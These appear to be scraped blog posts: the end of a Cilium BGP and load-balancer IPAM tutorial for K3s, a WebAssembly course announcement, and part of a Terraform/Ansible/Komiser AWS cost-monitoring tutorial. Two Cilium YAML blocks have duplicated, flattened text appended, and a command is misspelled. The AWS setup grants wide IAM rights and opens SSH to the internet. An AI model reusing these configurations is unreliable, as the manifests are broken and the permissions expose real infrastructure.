The READY state for our Cilium Agents is **0/1**, which means there’s a problem. Let’s read the logs to see why the Cilium Agents are no longer READY.

![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/e315c4c4-7219-4ce2-a13c-f39de658cc06.png align="center")

```plaintext
kubectl logs -n kube-system cilium-gdnd7 | tail -1
Defaulted container "cilium-agent" out of: cilium-agent, config (init), mount-cgroup (init), apply-sysctl-overwrites (init), mount-bpf-fs (init), clean-cilium-state (init), install-cni-binaries (init)
level=error msg=k8sError error="github.com/cilium/cilium/pkg/k8s/resource/resource.go:183: Failed to watch *v2alpha1.CiliumBGPPeeringPolicy: failed to list *v2alpha1.CiliumBGPPeeringPolicy: the server could not find the requested resource (get ciliumbgppeeringpolicies.cilium.io)" subsys=k8s
```

. `failed to watch *v2alpha1.CiliumBGPPeeringPolicy`.  
Setting `enable-bgp-control-plane true` causes the Cilium Agents to look for the Cilium BGP Peering Policy, which does not yet exist, mainly because the Cilium Operator did not create the CiliumBGPPeeringPolicy CRD. After all, we were not using that feature at installation time.

Let's check the resource types defined in our cluster with the **api-resources** command:  
`kubectl api-resources | grep -i cilium`

There you go: no BGP policy. Also, we can notice the cilium agents were redeployed but not the operator, which is still running.

let's redeploy it by deleting it and then check the logs of the operator pod, and you can see something  
`Creating CRD (CustomResourceDefinition)..." name=CiliumBGPPeeringPolicy/v2alpha1`

Details are in the screenshot

![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/6f2ab119-b633-47ea-87e5-02a55c5d1c2f.png align="center")

Now Recheck the api-resources to see the new CRD:

![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/301dc914-e270-4fa1-8b4a-64018a038e63.png align="center")

## **Cilium BGP Peering Policy**

Now that we have a CiliumBGPPeeringPolicy type (CRD), we can create an object of that type to define our Cilium BGP peering policy.

Here is the yaml file which we will use to create it.

```plaintext
cat cilium-bgp-policy.yaml
```

```plaintext
apiVersion: "cilium.io/v2alpha1"
kind: CiliumBGPPeeringPolicy
metadata:
 name: 01-bgp-peering-policy
spec:
 nodeSelector:
   matchLabels:
     bgp-policy: a
 virtualRouters:
 - localASN: 64512
   exportPodCIDR: true
   neighbors:
    - peerAddress: '192.168.1.1/32'
      peerASN: 64512
   serviceSelector:
     matchExpressions:
       - {key: somekey, operator: NotIn, values: ['never-used-value']}"cilium.io/v2alpha1" kind: CiliumBGPPeeringPolicy metadata: name: 01-bgp-peering-policy spec: nodeSelector: matchLabels: bgp-policy: a virtualRouters: - localASN: 64512 exportPodCIDR: true neighbors: - peerAddress: '192.168.1.1/32' peerASN: 64512 serviceSelector: matchExpressions: - {key: somekey, operator: NotIn, values: ['never-used-value']}
```

### **Specification (Spec)**

* `spec`: This section defines the behavior of the resource.
    
    * `nodeSelector`: Specifies which nodes this policy applies to.
        
        * `matchLabels`: The policy applies to nodes with the label `bgp-policy: a`.
            
    * `virtualRouters`: Configures one or more virtual routers for BGP.
        
        * `- localASN: 64512`: Defines the Autonomous System Number (ASN) for the local node.
            
        * `exportPodCIDR: true`: This flag indicates that the pod CIDR should be advertised to BGP peers.
            
        * `neighbors`: Defines BGP neighbors.
            
            * `- peerAddress: '192.168.1.1/32'`: Specifies the address of a BGP neighbor.
                
            * `peerASN: 64512`: The ASN of the BGP neighbor.
                
    * `serviceSelector`: Specifies which services this policy applies to.
        
        * `matchExpressions`: A list of criteria for selecting services.
            
            * `- {key: somekey, operator: NotIn, values: ['never-used-value']}`: Selects services that do not have a label with the key `somekey` and value `never-used-value`.
                
    * Documentation can be found [here](https://docs.cilium.io/en/stable/network/bgp-control-plane/#service-announcements).  
        Now that we have an understanding of the policy, let’s apply it to the cluster:
        
    * **Kubernetes nodes label**
        
        We need to **label** the nodes we want the BGP policy to apply. In our case, we will label the follower nodes, leaving out the control-plane node. Our **CiliumBGPPeeringPolicy** node selector expects the **bgp-policy=a** label.
        
        ```plaintext
        kubectl  apply -f cilium-bgp-policy.yaml 
        
        ciliumbgppeeringpolicy.cilium.io/01-bgp-peering-policy created
        -----
        kubectl label nodes k3s-follower bgp-policy=a
        ------
        ubuntu@k3s:~$ kubectl get nodes -l bgp-policy=a
        NAME         STATUS   ROLES    AGE    VERSION
        k3s-follower   Ready    <none>   2d2h   v1.28.5+k3s1
        ```
        
        # **LB IPAM**
        
        When you create a Load Balancer Service in a Kubernetes cluster, the cluster itself does not assign the Service a Load Balancer I.P. (aka External I.P.); we need a plugin to do that. If you create a Load Balancer Service without a Load Balancer plugin, the External I.P. address will show **Pending** indefinitely.
        
        The Cilium [LoadBalancer IP Address Management (LB IPAM)](https://docs.cilium.io/en/stable/network/lb-ipam/#loadbalancer-ip-address-management-lb-ipam) feature can be used to provision I.P. addresses for our Load Balancer Services.
        
        Here is what the official doc says about it:
        
        > *LB IPAM is a feature that allows Cilium to assign IP addresses to Services of type LoadBalancer. This functionality is usually left up to a cloud provider, however, when deploying in a private cloud environment, these facilities are not always available.*
        > 
        > *This section must understand that LB IPAM is always enabled but dormant. The controller is awoken when the first IP Pool is added to the cluster.*
        
        Let’s create our **cilium LoadBalancer IP pool**.
        
        To create a pool, we name it and give a CIDR range. We’ll use **172.198.1.0/24** as our CIDR range; this range mustn't overlap with other networks in use with your cluster.
        
        ```plaintext
        # cat cilium-ippool.yaml
        
        apiVersion: "cilium.io/v2alpha1"
        kind: CiliumLoadBalancerIPPool
        metadata:
          name: "lb-pool"
        spec:
          cidrs:
          - cidr: "172.198.1.0/24"apirsion: "cilium.io/v2alpha1" kind: CiliumLoadBalancerIPPool metadata: name: "lb-pool" spec: cidrs: - cidr: "172.198.1.0/24"
        
        -------
        Kubectl create -f cilium-ippool.yaml
        ciliumloadbalancerippool.cilium.io/lb-pool created
        ```
        
        **Cilium service LoadBalancer**
        
        Now, let’s create a **pod** with a **service** type **LoadBalancer** and test it.
        
        We will make a simple nginx **pod** and a simple **service** exposing port 8080, with type **LoadBalancer**.
        
        This should cause Cilium to provision an external I.P. for our logical load balancer and then advertise the route through BGP.
        
        ```plaintext
        cat pod.yaml service.yaml
        ```
        
        ```plaintext
        # pod.yaml
        apiVersion: v1
        kind: Pod
        metadata:
          name: simple-pod
          labels:
            app: simple-pod
        spec:
          containers:
          - name: my-app-container
            image: nginx:latest
            ports:
            - containerPort: 80
        
        # service.yaml
        apiVersion: v1
        kind: Service
        metadata:
          name: my-service
        spec:
          selector:
            app: simple-pod  # Make sure this matches the label of the Pod
          ports:
          - protocol: TCP
            port: 8080
            targetPort: 80
          type: LoadBalancer
        ```
        
        Let’s create it:
        
        ```plaintext
        # kubectl apply -f pod.yaml
        pod/simple-pod created
        # kubectl apply -f service.yaml
        service/my-service created
        ```
        
        From the output below, we know that we have a **running pod** with the name simple-pod and a service with the name my-service, but the most crucial part is that we have a service TYPE **LoadBalancer** with **EXTERNAL-IP** from our **ip-pool**, which we created earlier, and we get **172.198.1.167**
        
        ![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/b4d8aed3-357d-4e08-aedb-79b332940ad5.png align="center")
        
        # **Validate LoadBalancer External I.P.**
        
        ![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/ae2ba5a0-0c9e-4cb0-b589-8b855be42f2e.png align="center")
        
        *This post guides you through setting up Cilium-based Load Balancer Services in a K3s Kubernetes cluster, detailing the network operations involved and providing a foundation for further experimentation.*
        
    * Thank you for reading!
        
        Inspiration:  
        [https://docs.cilium.io/en/latest/network/lb-ipam/](https://docs.cilium.io/en/latest/network/lb-ipam/)  
        [https://cilium.io/blog/2020/04/29/cilium-with-rancher-labs-k3s/](https://cilium.io/blog/2020/04/29/cilium-with-rancher-labs-k3s/)
        
* Follow Kubesimplify on [YouTube](https://www.youtube.com/channel/UCi-1nnN0eC9nRleXdZA6ncg), [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# The WebAssembly Course

- Canonical: https://blog.kubesimplify.com/the-webassembly-course
- Published: 2024-01-15
- Summary: In this course you will learn all the constructs of Webassembly required to get you ready for creating wasm based apps and run them on Kubernetes.

By now, the term 'Wasm' is known to everyone as it has shown its success in the browsers but also its marked as the next big thing in the cloud-native ecosystem or serverless ecosystem or when we talk about wasm on the server side . Almost everyone included Wasm in their 2023 predictions, and it's clear that Wasm is onto something. 2024 is no different, and we will see even more production usage of WebAssembly.

I am really excited to share that [Rishit Dagli](https://twitter.com/rishit_dagli) and I have launched a **Complete WebAssembly Course - from Beginners to Advanced** for you on [Kubesimplify](https://youtube.com/@kubesimplify). This course will help you start your WebAssembly journey and enable you to create cool stuff in WebAssembly.

%[https://www.youtube.com/watch?v=eYekV2Do0YU] 

This course was developed as part of our efforts to bridge the education gap in learning WebAssembly. Rishit and I attended various conferences last year focused on WebAssembly, including WasmI/O and Cloud Native Wasm Day. We spoke to many people, and the first major hurdle in entering the field of WebAssembly was finding the right education. That's when we started planning a course to be created, covering all the basic constructs needed to create great applications.

## What can you expect from the course?

In this course, you will learn all the basic constructs of WebAssembly, including:

1. **Introduction to WebAssembly**: We discuss the history of Wasm, its success in browsers, and its rising popularity on the server side.
    
2. **CNCF Wasm Landscape and Bytecode Alliance**: This section explains the CNCF Landscape and the significance of the Bytecode Alliance.
    
3. **Memory Management and Sandboxing**: An in-depth look at Wasm's core feature of sandboxing and memory management.
    
4. **Wasm Module**: Exploration of the Wasm module, including binary representation, different sections, and mapping from wat files to binary.
    
5. **Networking Capabilities in Wasm:** We delve into the Wasm networking proposal with a practical example.
    
6. **Tooling around Wasm and Runtimes**: Discussion of Wasm specifications, implementations, and additional capabilities provided by various tools.
    
7. **Run Wasm Everywhere with WASI**: Exploring the WebAssembly System Interface (WASI) for server-side applications, including demos.
    
8. **WASIX and WASI Preview 2**: Insights into the future of WASI and the innovations like WASIX.
    
9. **Wasm in the Cloud Native Landscape**: Analysis of Wasm's role in cloud-native technologies, including integration with Docker and Kubernetes.
    
10. **Wasm Component Model**: A deep dive into the component model, including demonstrations using tools like Spin.
    
11. **KV Store in Wasm**: Demonstrating a key-value store example using Spin.
    
12. **Running ML Models in Wasm**: Covering machine learning inferencing in Wasm with practical demos.
    
13. **Observability for Wasm Modules**: Focusing on the importance of observability for enterprise adoption of WebAssembly.
    
14. **Final Thoughts about Wasm**: Summarizing our views on Wasm in 2024.
    

This course provides you with enough knowledge about WebAssembly to kickstart your own projects using the discussed tools and frameworks and to deploy your WebAssembly workloads.

We hope you enjoy the learning experience. We've created a handy [course website](https://kubesimplify.github.io/wasm-course) and [GitHub repository](https://github.com/kubesimplify/wasm-course) for easy navigation, which includes all the slides and demo files used in the course.

Please make sure to share the course within your network if you find it helpful, and don't forget to subscribe to [Kubesimplify](https://youtube.com/@kubesimplify)."

---

# Tutorial: Build a Cloud Cost Monitoring System with Terraform, Ansible and Komiser

- Canonical: https://blog.kubesimplify.com/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser
- Published: 2023-11-03

In today's cloud-centric world, businesses rely on cloud services to power their applications and infrastructure. While the **scalability** and **flexibility** of the cloud are **undeniable advantages**, it's crucial to keep a **close eye on the costs** associated with these services.

Introducing [Komiser](https://github.com/tailwarden/komiser), an **open-source cloud-agnostic resource manager** that offers a powerful solution to address this challenge by seamlessly collecting comprehensive resource data across your organization's Cloud accounts. With Komiser, you can gain **deeper insights** into resource **consumption** and **expenditure** **across different cloud environments**, empowering you to make informed decisions and optimize your cloud infrastructure efficiently, and that is what we cover in this article.

In this tutorial, we will walk through the **step-by-step process** of **building a Cloud Cost Monitoring System using Komiser** which will enable us to access and aggregate resource data from a cloud infrastructure, provisioned on **AWS**.

Whether you're a DevOps engineer responsible for managing AWS resources or a cloud architect looking to optimize costs across your cloud infrastructure, this tutorial will demonstrate a **practical use case**, illustrating how you can **leverage Komiser to make informed decisions and drive cost savings in your cloud infrastructure.**

# Project Architecture

Let us understand the overall **architecture** and the **key components** involved in this project.

![Project Architecture](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/481a5dbf-aeb2-411e-bfdd-ad19043e1b00.png align="center")

In this tutorial, we are using a **simple Django todo list application** that relies on a bunch of AWS services:

* **IAM** - We created a new IAM user to grant necessary permissions to our AWS account.
    
* **EC2 Instance** - The application container is hosted in an Ubuntu-based remote server.
    
* **VPC** - In this demo, we are using the default VPC for our AWS region.
    
* **Elastic Load Balancer** - To manage the incoming traffic to our Django app.
    

The entire AWS infrastructure is provisioned and managed using **Terraform** (an Infrastructure as Code tool) and Ansible (a configuration management tool).

And finally, we deploy and authenticate **Komiser** to monitor the cloud resources associated with our Django application.

**Sounds interesting, right?** I hope this gave you a gist of what we'll be building together and let's move on to the **prerequisites** **section**.

# **Prerequisites**

Before you begin this tutorial, you'll need the following to get started:

* Basic knowledge of [**AWS Cloud**](https://aws.amazon.com/)**.**
    
* An AWS [**Free Tier account**](https://aws.amazon.com/free/)**.**
    
* Basic knowledge of containers and [**Docker**](https://www.docker.com/)**.**
    
* The following tools are installed and configured on your system:
    
    * [Terraform](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli)
        
    * [Ansible](https://docs.ansible.com/ansible/latest/installation_guide/index.html)
        
    * [Komiser CLI](https://docs.komiser.io/getting-started/installation)
        

# Step 1: Initial App Configuration

There are mainly two parts to this particular section. Let us start with testing our Django application locally.

## Local App Setup

I always recommend first **running** and **testing** the application locally, before any further integrations or provisioning of the actual cloud infrastructure.

Follow the detailed steps mentioned in the [documentation](https://github.com/kubesimplify/cloudnative-lab/tree/main/projects/ep-cloud-cost-monitoring/project_files#testing-the-django-app) to first clone and quickly test the Django Todo list application.

![Django Todo List](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/9faa2035-9e5b-46b8-9ff6-ab519015b2ac.png align="center")

## Containerising our App

To easily run our Django application on the remote EC2 instance, we’ll be **containerizing the application**.

Create a new `Dockerfile` and use the following code to create a **new docker image**:

```dockerfile
# pull the official base image
FROM python:3.8.3-alpine

# set work directory
WORKDIR /app

# set environment variables
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1

# install dependencies
RUN pip install --upgrade pip 
COPY ./requirements.txt /app
RUN pip install -r requirements.txt

# copy project
COPY . /app

# expose port 8000
EXPOSE 8000
```

In this case, we are also using **docker-compose** to further simplify the process of running our container. Create a `docker-compose.yaml` file with the following code snippet:

```yaml
version: '3'
services:
   web:
       build: .
       command: python manage.py runserver 0.0.0.0:8000
       ports:
           - 8000:8000
```

Essentially, this will help us in spinning up a container, running and being exposed at port `8000`, using just a **single command** of:

```bash
docker-compose up -d
```

Interestingly, we’ll be further automating the process of container creation using **Ansible playbooks** in a separate section ahead!

**Congratulations on completing the initial app configuration 🎉**

Let us move ahead with provisioning our cloud infrastructure, using Terraform!

# Step 2: **Cloud Infrastructure Configuration**

In this particular section, we’ll first be provisioning our cloud infrastructure on AWS using Terraform and then automating the deployment process for our Django application container on the remote EC2 instance, using the Ansible playbook.

Let us first provision our AWS infrastructure and get that up and running!

## Infrastructure Provisioning Using Terraform

As mentioned previously, for this particular project we have the following AWS services that need to be provisioned:

* **IAM**
    
* **EC2 Instance**
    
* **VPC** (this is not newly created per se. We'll be using the default VPC for our AWS region)
    
* **Elastic Load Balancer**
    

Let us see their configurations one by one, starting with creating an IAM user.

### 1\. Creating an IAM user

It is always recommended to create a new IAM user associated with your AWS account and attach **granular permissions** according to the use case.

Use the following code snippet to define a new IAM user named `komiser-aws-user`:

```json
resource "aws_iam_user" "komiser_iam" {
  name = "komiser-aws-user"

  tags = {
    Name = "komiser-django-app"
  }
}

# resource for UI login
resource "aws_iam_user_login_profile" "komiser_iam_login" {
 user    = aws_iam_user.komiser_iam.name
}

# for access key & secret access key:
resource "aws_iam_access_key" "komiser_iam" {
  user    = aws_iam_user.komiser_iam.name
}

# Output the IAM user access id, secret id and password:
output "id"{
  value = aws_iam_access_key.komiser_iam.id
}
output "secret"{
  value = aws_iam_access_key.komiser_iam.secret
  sensitive = true
}
output "iam_password" {
 value = aws_iam_user_login_profile.komiser_iam_login.password
 sensitive = true
}
```

Explanation:

* `aws_iam_user` - To create a new IAM user named: `komiser-aws-user`.
    
* `aws_iam_user_login_profile` - To enable AWS Management console login for the new user.
    
* `aws_iam_access_key` - To create access and secret access keys for the new user.
    
* After the user has been created, there are three output values defined:
    
    * Access ID
        
    * Secret Access ID
        
    * Login password for AWS Management console
        

The second part of creating an IAM user is attaching an appropriate policy for granting it the necessary permissions to access AWS resources.

Use the following `policy.json` file that defines the permissions we’ll give to our new IAM user:

```json
{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "1",
			"Effect": "Allow",
			"Action": [
				"ec2:*",
				"s3:*",
				"iam:*",
				"elasticloadbalancing:*",
                "route53:*",
                "tag:Get*",
                "pricing:*"
			],
			"Resource": "*"
		}
	]
}
```

> You can certainly define more granular permissions here, within each resource group. Refer to the [Komiser policy](https://github.com/tailwarden/komiser/blob/master/policy.json) to learn more.

Let us create a new IAM policy using the definition above and attach that to the user:

```json
resource "aws_iam_policy" "komiser_policy" { 
  name        = "komiser_iam_policy"
  description = "This is the policy for komiser user"

  policy = file("policy.json")

 tags = {
    Name = "komiser-django-app"
  }
}

# Policy Attachment with the user:
resource "aws_iam_user_policy_attachment" "komiser_policy_attachment" {
 user       = aws_iam_user.komiser_iam.name
 policy_arn = aws_iam_policy.komiser_policy.arn
}
```

Explanation:

* `aws_iam_policy` - creates a new IAM policy named `komiser_iam_policy`.
    
* `aws_iam_user_policy_attachment` - attaches the `komiser_iam_policy` with our IAM user i.e. `komiser-aws-user`.
    

### 2\. Creating an EC2 instance

As we are provisioning our infrastructure using Terraform, there are a few different parts we need to define to successfully provision an EC2 instance.

Let us have a look at each of them, in detail.

**Defining the Terraform EC2 resource**

Use the following code to define a new Ubuntu EC2 instance of type `t2.micro`:

```json
# EC2 instance resource:
resource "aws_instance" "komiser_instance" {
  ami           = "ami-053b0d53c279acc90"
  instance_type = "t2.micro"
  key_name      = aws_key_pair.ssh_key.key_name

  vpc_security_group_ids = [aws_security_group.allow_tls_1.id]

  depends_on = [aws_security_group.allow_tls_1]

  user_data  = "${file("install.sh")}"

  tags = {
    Name = "komiser-django-app"
  }
}
```

> Note:
> 
> The AMI ID specified above is specific to the AWS region chosen. In my case, the default region is `us-east-1`.  
> Be sure to change the AMI ID value according to the region you choose to provision the resources in!

To install the necessary dependencies on our remote instance after being provisioned, we are using Terraform’s `user_data` type to attach the bash script given below:

```bash
#!/bin/bash

# Install docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL <https://download.docker.com/linux/ubuntu/gpg> | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] <https://download.docker.com/linux/ubuntu> $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
apt-cache policy docker-ce
sudo apt install -y docker-ce

# Install docker compose:
sudo mkdir -p ~/.docker/cli-plugins/
sudo curl -SL <https://github.com/docker/compose/releases/download/v2.3.3/docker-compose-linux-x86_64> -o ~/.docker/cli-plugins/docker-compose
sudo chmod +x ~/.docker/cli-plugins/docker-compose

# Clone the Git repo:
git clone https://github.com/kubesimplify/cloudnative-lab.git
```

Essentially, this particular script will install the following tools on our Ubuntu instance:

* Docker Engine
    
* Docker Compose
    
* Clone the [GitHub repo](https://github.com/kubesimplify/cloudnative-lab), to access the Dockerfile (created above)
    
    > You may replace the GitHub repository URL with your project’s repository URL here!
    

1. **Defining the security group for our Instance**
    
    There are mainly two things we need to define in our security group:
    
    * **Ingress** - Allowing incoming traffic at ports:
        
        * `22` - to enable remote access using SSH
            
        * `8000` - to expose our Django application
            
    * **Egress** - Allowing external traffic from anywhere on the internet
        
    
    Use the code below to create a new security group, associated with our EC2 instance:
    
    ```json
    resource "aws_security_group" "komiser_sg" {
      name        = "komiser_sg"
      description = "Security Group for Komiser Instance"
      vpc_id      = "VPC_ID"
    
      ingress {
            description = "For ssh"
            from_port   = 22
            to_port     = 22
            protocol    = "tcp"
            cidr_blocks = ["0.0.0.0/0"]
      }
      ingress {
            description = "For Django app"
            from_port   = 8000
            to_port     = 8000
            protocol    = "tcp"
            cidr_blocks = ["0.0.0.0/0"]
      }
      egress {
        from_port   = 0
        to_port     = 0
        protocol    = "-1"
        cidr_blocks = ["0.0.0.0/0"]
      }
    
      lifecycle {
        create_before_destroy = true
      }
    
      tags = {
        Name = "komiser-django-app"
      }
    }
    ```
    
2. **Creating a new SSH key pair**
    
    Use the following code to create a new SSH key pair in AWS called `komiser_ssh_key`, that we can use to securely connect with our remote instance:
    
    ```bash
    resource "aws_key_pair" "ssh_key" {
      key_name   = "komiser_ssh_key"
      public_key = file("~/.ssh/komiser-aws.pub") # location of public SSH key
    
      tags = {
        Name = "komiser-django-app"
      }
    }
    ```
    
    > Note:
    > 
    > You will need to create a new SSH key pair for this purpose. Use the following command to generate a new SSH key pair on your local machine:
    > 
    > ```bash
    > ssh-keygen -t rsa -b 4096
    > ```
    > 
    > An example SSH key pair creation process has been shown below:
    > 
    > ![SSH Key Pair](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/bde56046-9eb5-4125-877e-c6f132f365f7.png align="center")
    
3. **Creating an Elastic IP for our Instance**
    
    By default, the IP address assigned to an EC2 instance changes on reboot and this may sometimes complicate things. To avoid this, I recommend creating an Elastic IP address (which remains constant) and associating that with the instance.
    
    Use the following Terraform resource types to create and associate an Elastic IP with our instance:
    
    ```json
    # Elastic IP resource
    resource "aws_eip" "koimser_instance_ip" {
      instance = aws_instance.komiser_instance.id
      depends_on = [aws_instance.komiser_instance]
    
      tags = {
        Name = "komiser-django-app"
      }
    }
    # Elastic IP association:
    resource "aws_eip_association" "eip_association" {
      instance_id   = "${aws_instance.komiser_instance.id}"
      allocation_id = "${aws_eip.koimser_instance_ip.id}"
    }
    
    # Output the instance IP:
    output "ec2_ip" {
      value = aws_eip.koimser_instance_ip.public_ip
    }
    ```
    

Overall, the entire configuration for provisioning our EC2 instance would look like this:

```json
# EC2 instance resource:
resource "aws_instance" "komiser_instance" {
  ami           = "AMI_ID"
  instance_type = "t2.micro"
  key_name      = aws_key_pair.ssh_key.key_name

  vpc_security_group_ids = [aws_security_group.allow_tls_1.id]

  depends_on = [aws_security_group.allow_tls_1]

  user_data  = "${file("install.sh")}"

  tags = {
    Name = "komiser-django-app"
  }
}

# SSH key pair
resource "aws_key_pair" "ssh_key" {
  key_name   = "komiser_ssh_key"
  public_key = file("~/.ssh/komiser-aws.pub")

  tags = {
    Name = "komiser-django-app"
  }
}

# Security group resource:
resource "aws_security_group" "allow_tls_1" {
  name        = "allow_tls_1"
  description = "Allow TLS inbound traffic"
  vpc_id      = "vpc-0c09e12657a2cf8fc"

  ingress {
        description = "For ssh"
        from_port   = 22
        to_port     = 22
        protocol    = "tcp"
        cidr_blocks = ["0.0.0.0/0"]
  }
  ingress {
        description = "For Django app"
        from_port   = 8000
        to_port     = 8000
        protocol    = "tcp"
        cidr_blocks = ["0.0.0.0/0"]
  }
  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }

  lifecycle {
    create_before_destroy = true
  }

  tags = {
    Name = "komiser-django-app"
  }
}

# Elastic IP resource
resource "aws_eip" "koimser_instance_ip" {
  instance = aws_instance.komiser_instance.id
  depends_on = [aws_instance.komiser_instance]

  tags = {
    Name = "komiser-django-app"
  }
}
# Elastic IP association:
resource "aws_eip_association" "eip_association" {
  instance_id   = "${aws_instance.komiser_instance.id}"
  allocation_id = "${aws_eip.koimser_instance_ip.id}"
}

# Output the instance IP:
output "ec2_ip" {
  value = aws_eip.koimser_instance_ip.public_ip
}
```

### 3\. Creating an Elastic Load Balancer

For properly configuring an Elastic Load Balancer, there are mainly two parts we need to define:

1. **Security Group for our ELB**
    
    Use the following code to define the security group for our load balancer:
    
    ```json
    # ELB security group:
    resource "aws_security_group" "komiser_elb_sg" {
      name        = "komiser_elb"
      description = "Komiser ELB Security Group"
    
      ingress {
        from_port = 80
        to_port = 80
        protocol = "tcp"
        cidr_blocks = ["0.0.0.0/0"]
      }
    
      egress {
        from_port        = 0
        to_port          = 0
        protocol         = "-1"
        cidr_blocks      = ["0.0.0.0/0"]
        ipv6_cidr_blocks = ["::/0"]
      }
    
      tags = {
        Name = "komiser-django-app"
      }
    }
    ```
    
    Explanation:
    
    * **Ingress Rules**: This security group allows incoming traffic on port 80 via the TCP protocol from any IP address (`0.0.0.0/0`), essentially enabling access to the port `80`.
        
    * **Egress Rules**: Egress rules allow all outbound traffic (`0.0.0.0/0` for IPv4 and `::/0` for IPv6).
        
2. **Terraform ELB resource**
    
    Use the following code to create a new Elastic Load Balancer:
    
    ```json
    # Create a new Elastic load balancer:
    resource "aws_elb" "komiser_elb" {
      name               = "komiser-elb"
      availability_zones = ["us-east-1a", "us-east-1b", "us-east-1c", "us-east-1d"]
      security_groups = [aws_security_group.komiser_elb_sg.id]
      instances = [aws_instance.komiser_instance.id]
    
      access_logs {
        bucket        = "komiser-elb-logs"
        interval      = 5
      }
    
      listener {
        instance_port     = 8000
        instance_protocol = "http"
        lb_port           = 80
        lb_protocol       = "http"
      }
    
      health_check {
        healthy_threshold   = 2
        unhealthy_threshold = 2
        timeout             = 3
        target              = "TCP:8000"
        interval            = 30
      }
    
      cross_zone_load_balancing   = true
      idle_timeout                = 400
      connection_draining         = true
      connection_draining_timeout = 400
    
      tags = {
        Name = "komiser-django-app"
      }
    }
    
    # Output the ELB Domain name:
    output "komiser_elb_dns" {
      value = aws_elb.komiser_elb.dns_name
      depends_on = [aws_elb.komiser_elb]
    }
    ```
    
    Explanation:
    
    * `instances` - specifying the EC2 instance ID to which this ELB will be associated with.
        
    * `access_logs` - storing the ELB logs in an S3 bucket named as `komiser-elb-logs` (this bucket has to be first created separately on AWS)
        
    * `listener` - defines a listener that maps incoming requests on port `80` (configured in our ELB security group) to the Django application container, which will be running on port `8000` in our EC2 instance.
        

Before applying the above changes and provisioning the infrastructure, make sure to define the terraform AWS provider and specify the correct AWS profile to use:

```json
terraform {
  required_providers {
    aws = {
      source = "hashicorp/aws"
      version = "5.8.0"
    }
  }
}

provider "aws" {
  region = "us-east-1"
  profile = "Komiser-User"
}
```

Finally, you can now use the following commands to provision the entire infrastructure on AWS:

```bash
terraform init
terrafor apply
```

![Terraform outputs](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/40da7b06-719b-4246-b60b-edf0e4024028.png align="center")

**Congratulations 🎉 we have successfully provisioned our cloud resources on AWS using Terraform!**

# Step 3: Deploying our App Using Ansible Playbook

Giving a little bit of background, the [**Ansible playbook**](https://docs.ansible.com/ansible/latest/getting_started/get_started_playbook.html) is used for **automating tasks** and **managing server configurations**, making it easier to **maintain** and **deploy** applications on **multiple remote servers**.

And that’s exactly our use case today!

In this particular section, we’ll be using an Ansible playbook to first connect to our remote EC2 instance and then automate the process of deploying our Django Todo application container.

Talking about configuring the application deployment process using Ansible, there are mainly **two parts** we need to cater to here.

Let us discuss both of them in detail.

## 1\. Building the Ansible Inventory

Essentially, an Ansible inventory file is a simple list of **hostnames** or **IP addresses** that Ansible uses to manage and execute tasks on the remote server. In this case, our target remote server is the **EC2 instance** we provisioned earlier.

Create a new `inventory.yaml` file in your working directory and use the following configuration:

```yaml
virtualmachines:
  hosts:
    vm01:
      ansible_host: INSTANCE_IP_ADDRESS 
      ansible_ssh_user: ubuntu
      ansible_ssh_private_key_file: "PRIVATE_SSH_KEY"
```

Explanation:

* `virtualmachines` - represents a group of virtual machines to be managed by Ansible.
    
* `hosts` - lists down the information for individual hosts (remote servers) within a group.
    
* Here, we are representing our remote EC2 instance with `vm01` and providing the following configuration:
    
    ```yaml
    vm01:
    	ansible_host: INSTANCE_IP_ADDRESS 
    	ansible_ssh_user: ubuntu
    	ansible_ssh_private_key_file: "PRIVATE_SSH_KEY"
    ```
    
    > Make sure to replace `INSTANCE_IP_ADDRESS` with the Elastic IP address of the EC2 instance and `PRIVATE_SSH_KEY` with the location of the private SSH key file in your local system.
    

To **test the connection**, use the following command to ping the EC2 instance:

```bash
ansible virtualmachines -m ping -i inventory.yaml
```

If the connection is successful, you’ll receive the following output:

![Ansible Connection Test](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/aa1fc1d2-0857-42d1-ab34-12eeaab15ad1.png align="center")

## 2\. Defining the Ansible Playbook

Now that we successfully established a **secure connection** between Ansible and our EC2 instance, let us **define the tasks** we need Ansible to perform on our remote server.

Create a new `playbook.yaml` file and use the following code to create a playbook:

```yaml
- name: AWS <> Komiser Playbook
  hosts: vm01
  tasks:
  - name: Check if Docker is running
    ansible.builtin.systemd:
      name: docker.service
      state: started
      enabled: true
  - name: Run Docker Compose
    ansible.builtin.command: 
    args:
      # change the current dir
      chdir: /cloudnative-lab/projects/ep-cloud-cost-monitoring/project_files
      # run docker compose
      cmd: sudo docker compose -f docker-compose.yml up -d
```

Explanation:

* `hosts: vm01` - the name of the target host server where the tasks will be executed (defined above).
    
* There are two main tasks defined to be executed on our instance:
    
    1. **Checking if the Docker engine is running on the EC2 instance.**
        
        Here, we are using Ansible’s built-in `systemd` module - `ansible.builtin.systemd` which will essentially execute the following command in the background to check the status of the docker engine:
        
        ```yaml
        systemctl status docker.service
